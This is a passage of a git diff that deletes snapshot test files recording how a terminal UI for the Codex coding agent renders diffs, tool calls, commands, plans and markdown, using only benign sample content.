-" 2 - return x + 1 " -" 3 -print(legacy(3)) " -" " -" └ scripts/calc.txt → scripts/calc.py (+1 -1) " -" 1 def add(a, b): " -" 2 - return a + b " -" 2 + return a + b + 42 " -" 3 " -" 4 print(add(1, 2)) " -" " -" └ src/lib.rs (+2 -2) " -" 1 fn greet(name: &str) { " -" 2 - println!("hello"); " -" 3 - println!("bye"); " -" 2 + println!("hello {name}"); " -" 3 + println!("emoji: 🚀✨ and CJK: 你好世界"); " Hidden by multi-width symbols: [(29, " "), (31, " "), (43, " "), (45, " "), (47, " "), (49, " ")] -" 4 } " -" " -" └ tmp/obsolete.log (+0 -3) " -" 1 -old line 1 " -" 2 -old line 2 " -" 3 -old line 3 " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_80x24.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_80x24.snap deleted file mode 100644 index 31aa46e27..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_80x24.snap +++ /dev/null @@ -1,28 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited 6 files (+9 -9) " -" └ assets/banner.txt (+3 -0) " -" 1 +HEADER VALUE " -" 2 +rocket 🚀 " Hidden by multi-width symbols: [(15, " ")] -" 3 +city 東京 " Hidden by multi-width symbols: [(13, " "), (15, " ")] -" " -" └ examples/new_sample.rs (+3 -0) " -" 1 +pub fn greet(name: &str) { " -" 2 + println!("Hello, {name}!"); " -" 3 +} " -" " -" └ legacy/old_script.py (+0 -3) " -" 1 -def legacy(x): " -" 2 - return x + 1 " -" 3 -print(legacy(3)) " -" " -" └ scripts/calc.txt → scripts/calc.py (+1 -1) " -" 1 def add(a, b): " -" 2 - return a + b " -" 2 + return a + b + 42 " -" 3 " -" 4 print(add(1, 2)) " -" " -" └ src/lib.rs (+2 -2) " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_94x35.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_94x35.snap deleted file mode 100644 index 270ab3c37..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__diff_gallery_94x35.snap +++ /dev/null @@ -1,39 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"• Edited 6 files (+9 -9) " -" └ assets/banner.txt (+3 -0) " -" 1 +HEADER VALUE " -" 2 +rocket 🚀 " Hidden by multi-width symbols: [(15, " ")] -" 3 +city 東京 " Hidden by multi-width symbols: [(13, " "), (15, " ")] -" " -" └ examples/new_sample.rs (+3 -0) " -" 1 +pub fn greet(name: &str) { " -" 2 + println!("Hello, {name}!"); " -" 3 +} " -" " -" └ legacy/old_script.py (+0 -3) " -" 1 -def legacy(x): " -" 2 - return x + 1 " -" 3 -print(legacy(3)) " -" " -" └ scripts/calc.txt → scripts/calc.py (+1 -1) " -" 1 def add(a, b): " -" 2 - return a + b " -" 2 + return a + b + 42 " -" 3 " -" 4 print(add(1, 2)) " -" " -" └ src/lib.rs (+2 -2) " -" 1 fn greet(name: &str) { " -" 2 - println!("hello"); " -" 3 - println!("bye"); " -" 2 + println!("hello {name}"); " -" 3 + println!("emoji: 🚀✨ and CJK: 你好世界"); " Hidden by multi-width symbols: [(29, " "), (31, " "), (43, " "), (45, " "), (47, " "), (49, " ")] -" 4 } " -" " -" └ tmp/obsolete.log (+0 -3) " -" 1 -old line 1 " -" 2 -old line 2 " -" 3 -old line 3 " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps.snap deleted file mode 100644 index a71c6058b..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps.snap +++ /dev/null @@ -1,14 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"1 +fn very_long_function_name(arg_one: String, arg_two: String, arg_three: Strin " -" g, arg_four: String) -> Result> { Ok(arg_o " -" ne) } " -" " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps_text.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps_text.snap deleted file mode 100644 index 44ffb1c40..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__syntax_highlighted_insert_wraps_text.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: text ---- -1 +fn very_long_function_name(arg_one: String, arg_two: String, arg_three: Strin - g, arg_four: String) -> Result> { Ok(arg_o - ne) } diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__theme_scope_background_resolution.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__theme_scope_background_resolution.snap deleted file mode 100644 index 0bc1afabd..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__theme_scope_background_resolution.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: snapshot ---- -insert=Some(Rgb(12, 34, 56)) -delete=Some(Rgb(74, 34, 29)) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__wrap_behavior_insert.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__wrap_behavior_insert.snap deleted file mode 100644 index 58a20e355..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__diff_render__tests__wrap_behavior_insert.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/diff_render.rs -expression: terminal.backend() ---- -"1 +this is a very long line that should wrap across multiple terminal columns an " -" d continue " -" " -" " -" " -" " -" " -" " diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__active_mcp_tool_call_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__active_mcp_tool_call_snapshot.snap deleted file mode 100644 index 0d07d3928..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__active_mcp_tool_call_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Calling search.find_docs({"query":"ratatui styling","limit":3}) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesced_reads_dedupe_names.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesced_reads_dedupe_names.snap deleted file mode 100644 index d25fe9e80..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesced_reads_dedupe_names.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Explored - └ Read auth.rs, shimmer.rs diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_reads_across_multiple_calls.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_reads_across_multiple_calls.snap deleted file mode 100644 index 896afccbd..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_reads_across_multiple_calls.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Explored - └ Search shimmer_spans - Read shimmer.rs, status_indicator_widget.rs diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_sequential_reads_within_one_call.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_sequential_reads_within_one_call.snap deleted file mode 100644 index c37be2af9..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__coalesces_sequential_reads_within_one_call.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Explored - └ Search shimmer_spans - Read shimmer.rs - Read status_indicator_widget.rs diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap deleted file mode 100644 index 11c767d15..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_error_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called search.find_docs({"query":"ratatui styling","limit":3}) - └ Error: network timeout diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap deleted file mode 100644 index a80a2815f..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_inline_snapshot.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called metrics.summary({"metric":"trace.latency","window":"15m"}) - └ Latency summary: p50=120ms, p95=480ms. - No anomalies detected. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap deleted file mode 100644 index b04e885f0..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_multiple_outputs_snapshot.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called - └ search.find_docs({"query":"ratatui - styling","limit":3}) - Found styling guidance in styles.md and - additional notes in CONTRIBUTING.md. - link: file:///docs/styles.md diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap deleted file mode 100644 index 3003b7c2f..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_success_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called search.find_docs({"query":"ratatui styling","limit":3}) - └ Found styling guidance in styles.md diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap deleted file mode 100644 index a6136ce94..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__completed_mcp_tool_call_wrapped_outputs_snapshot.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Called - └ metrics.get_nearby_metric({"query":" - very_long_query_that_needs_wrapp - ing_to_display_properly_in_the_h - istory","limit":1}) - Line one of the response, which is - quite long and needs wrapping. - Line two continues the response with - more detail. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__error_event_oversized_input_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__error_event_oversized_input_snapshot.snap deleted file mode 100644 index 39f93d3ba..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__error_event_oversized_input_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -■ Message exceeds the maximum length of 1048576 characters (1048577 provided). diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap deleted file mode 100644 index 3bac76432..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__mcp_tools_output_masks_sensitive_values.snap +++ /dev/null @@ -1,26 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/mcp - -🔌 MCP Tools - - • docs - • Status: enabled - • Auth: Unsupported - • Command: docs-server - • Env: TOKEN=*****, APP_TOKEN=***** - • Tools: list - • Resources: (none) - • Resource templates: (none) - - • http - • Status: enabled - • Auth: Unsupported - • URL: https://example.com/mcp - • HTTP headers: Authorization=***** - • Env HTTP headers: X-API-Key=API_KEY_ENV - • Tools: ping - • Resources: (none) - • Resource templates: (none) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap deleted file mode 100644 index d53476636..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_both_lines_wrap_with_correct_prefixes.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran first_token_is_long_en - │ ough_to_wrap - │ second_token_is_also_lon - │ … +1 lines - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap deleted file mode 100644 index f42a326d7..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_without_wrap_uses_branch_then_eight_spaces.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran echo one - │ echo two - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap deleted file mode 100644 index 40341dc9b..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__multiline_command_wraps_with_extra_indent_on_subsequent_lines.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran set -o pipefail - │ cargo test - │ --all-features --quiet - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap deleted file mode 100644 index d95dab34d..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_with_note_and_wrapping_snapshot.snap +++ /dev/null @@ -1,20 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Updated Plan - └ I’ll update Grafana call - error handling by adding - retries and clearer messages - when the backend is - unreachable. - ✔ Investigate existing error - paths and logging around - HTTP timeouts - □ Harden Grafana client - error handling with retry/ - backoff and user‑friendly - messages - □ Add tests for transient - failure scenarios and - surfacing to the UI diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_without_note_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_without_note_snapshot.snap deleted file mode 100644 index fabc71554..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__plan_update_without_note_snapshot.snap +++ /dev/null @@ -1,7 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Updated Plan - └ □ Define error taxonomy - □ Implement mapping to user messages diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap deleted file mode 100644 index fa6bb2658..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap +++ /dev/null @@ -1,11 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • just fix - ↳ indented first - more indented diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_empty_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_empty_snapshot.snap deleted file mode 100644 index 1760c8cf5..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_empty_snapshot.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • No background terminals running. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_long_command_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_long_command_snapshot.snap deleted file mode 100644 index b27985858..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_long_command_snapshot.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • rg "foo" src --glob '**/*. [...] - ↳ searching... diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_many_sessions_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_many_sessions_snapshot.snap deleted file mode 100644 index 08c30e614..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_many_sessions_snapshot.snap +++ /dev/null @@ -1,25 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • command 0 - • command 1 - • command 2 - • command 3 - • command 4 - • command 5 - • command 6 - • command 7 - • command 8 - • command 9 - • command 10 - • command 11 - • command 12 - • command 13 - • command 14 - • command 15 - • ... and 4 more running diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_multiline_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_multiline_snapshot.snap deleted file mode 100644 index 58e9c681a..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_multiline_snapshot.snap +++ /dev/null @@ -1,13 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -/ps - -Background terminals - - • echo hello [...] - ↳ hello - done - • rg "foo" src - ↳ src/main.rs:12:foo diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap deleted file mode 100644 index 12da3a4a1..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran echo - │ this_is_a_very_long_si - │ ngle_token_that_will_w - │ … +2 lines - └ error: first line on - stderr - error: second line on - stderr diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap deleted file mode 100644 index b48bfa37e..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap +++ /dev/null @@ -1,12 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -╭─────────────────────────────────────╮ -│ >_ OpenAI Codex (v0.0.0) │ -│ │ -│ model: gpt-5 /model to change │ -│ directory: /tmp/project │ -╰─────────────────────────────────────╯ - - Tip: Model just became available diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_compact_when_fits.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_compact_when_fits.snap deleted file mode 100644 index d986f5ef1..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_compact_when_fits.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran echo ok - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap deleted file mode 100644 index c6a481661..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran a_very_long_token_ - │ without_spaces_to_ - │ force_wrapping - └ (no output) diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap deleted file mode 100644 index 244bc50ec..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap +++ /dev/null @@ -1,10 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Ran seq 1 10 1>&2 && false - └ 1 - 2 - … +6 lines - 9 - 10 diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap deleted file mode 100644 index 1db1dec56..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- - - [Image #1] - [Image #2] - -› describe both diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_renders_remote_image_urls.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_renders_remote_image_urls.snap deleted file mode 100644 index d9d2527da..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_renders_remote_image_urls.snap +++ /dev/null @@ -1,8 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- - - [Image #1] - -› describe these diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap deleted file mode 100644 index 6d1d86c7d..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap +++ /dev/null @@ -1,9 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- - -› one two - three - four five - six seven diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_snapshot.snap deleted file mode 100644 index 8db1b6509..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Searched example search query with several generic words to - exercise wrapping diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_transcript_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_transcript_snapshot.snap deleted file mode 100644 index 8db1b6509..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_transcript_snapshot.snap +++ /dev/null @@ -1,6 +0,0 @@ ---- -source: tui_app_server/src/history_cell.rs -expression: rendered ---- -• Searched example search query with several generic words to - exercise wrapping diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap deleted file mode 100644 index a0f95c1e9..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap +++ /dev/null @@ -1,62 +0,0 @@ ---- -source: tui_app_server/src/markdown_render_tests.rs -expression: rendered ---- -# H1: Markdown Streaming Test - -Intro paragraph with bold text, italic text, and inline code x=1. -Combined bold-italic both and escaped asterisks *literal*. -Auto-link: https://example.com (https://example.com) and reference link [ref][r1]. -Link with title: hover me (https://example.com) and mailto mailto:test@example.com (mailto:test@example.com). -Image: alt text - -> Blockquote level 1 -> -> > Blockquote level 2 with inline code - -- Unordered list item 1 - - Nested bullet with italics inner -- Unordered list item 2 with strikethrough - -1. Ordered item one -2. Ordered item two with sublist: - 1. Alt-numbered subitem - -- [ ] Task: unchecked -- [x] Task: checked with link home (https://example.org) - -——— - -Table below (alignment test): -| Left | Center | Right | -|:-----|:------:|------:| -| a | b | c | -Inline HTML: sup and sub. -HTML block: -
inline block
-Escapes: \_underscores\_, backslash \\, ticks ``code with `backtick` inside``. -Emoji shortcodes: :sparkles: :tada: (if supported). -Hard break test (line ends with two spaces) -Next line should be close to previous. -Footnote reference here[^1] and another[^longnote]. -Horizontal rule with asterisks: -*** -Fenced code block (JSON): -```json -{ "a": 1, "b": [true, false] } -``` -Fenced code with tildes and triple backticks inside: -~~~markdown -To close ``` you need tildes. -~~~ -Indented code block: - for i in range(3): print(i) -Definition-like list: -Term -: Definition with `code`. -Character entities: & < > " ' -[^1]: This is the first footnote. -[^longnote]: A longer footnote with a link to [Rust](https://www.rust-lang.org/). -Escaped pipe in text: a \| b \| c. -URL with parentheses: [link](https://example.com/path_(with)_parens). -[r1]: https://example.com/ref "Reference link title" diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap deleted file mode 100644 index 5149360f1..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap +++ /dev/null @@ -1,5 +0,0 @@ ---- -source: tui_app_server/src/markdown_render_tests.rs -expression: rendered ---- -See codex-rs/tui_app_server/src/markdown_render.rs:74. diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt.snap deleted file mode 100644 index 3eff4785a..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt.snap +++ /dev/null @@ -1,18 +0,0 @@ ---- -source: tui_app_server/src/model_migration.rs -expression: terminal.backend() ---- - -> Codex just got an upgrade. Introducing gpt-5.1-codex-max. - - Upgrade to gpt-5.2-codex for the latest and greatest - agentic coding model. - - You can continue using gpt-5.1-codex-mini if you prefer. - - Choose how you'd like Codex to proceed. - -› 1. Try new model - 2. Use existing model - - Use ↑/↓ to move, press enter to confirm diff --git a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex.snap b/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex.snap deleted file mode 100644 index afd851372..000000000 --- a/codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex.snap +++ /dev/null @@ -1,15 